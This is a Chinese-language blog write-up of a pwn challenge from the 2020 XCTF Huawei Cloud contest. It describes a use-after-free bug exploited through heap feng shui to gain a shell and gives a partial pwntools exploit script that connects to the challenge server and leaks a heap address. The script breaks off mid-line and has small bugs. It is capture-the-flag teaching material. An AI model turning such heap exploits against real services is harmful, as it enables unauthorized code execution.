2020XCTF华为云专场pwn题WP

最新推荐文章于 2024-05-22 16:14:45 发布

叶叶扁舟

最新推荐文章于 2024-05-22 16:14:45 发布

阅读量576

点赞数

CC 4.0 BY-SA版权

分类专栏： PWN学习篇

本文链接：https://blog.youkuaiyun.com/ConlinderFeng/article/details/111593277

Pwn

参考链接：
https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485829&idx=1&sn=ec7d3c78168ecd093f0ccedbc8fd4901&chksm=fd711cc8ca0695de6f63db3b6e3d5b290260d8180eda01d7bbfdab86e2f076c584c839d213b7&mpshare=1&scene=23&srcid=1224a0tfkHTtf5fzAVGCTe8s&sharer_sharetime=1608779021772&sharer_shareid=888cf94faf48c07e7e4b7637406c0216#rd

CPP

解题思路
题⽬存在uaf，结合堆⻛⽔getshell

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level='debug'
#io=process("./chall",env={
   
   "LD_PRELOAD":"./libc-2.31.so"})
io=remote('124.70.12.210', 10002)
libc=ELF("./libc-2.31.so")
sla=lambda a : io.sendlineafter(">",str(a))
ia =lambda  : io.interactive()
def add(idx):
	sla(0)#choice
	sla("/bin/sh")
	sla(i)#index
def dele(idx,ct='a'):
	sla(1)#choice
	sla(idx)
	sla(ct)#index
#gdb.attach(io,'b *{}+0x0000555555554000'.format(0x13dd))
for i in range(0x420/0x20+2):
	add(i)
add(2)
sla(1)#choice
sla(1)
heap_base=u64(io.recvuntil("\x0a")[-7:-1].ljust(8,'\x00'))-0x470+0x20
log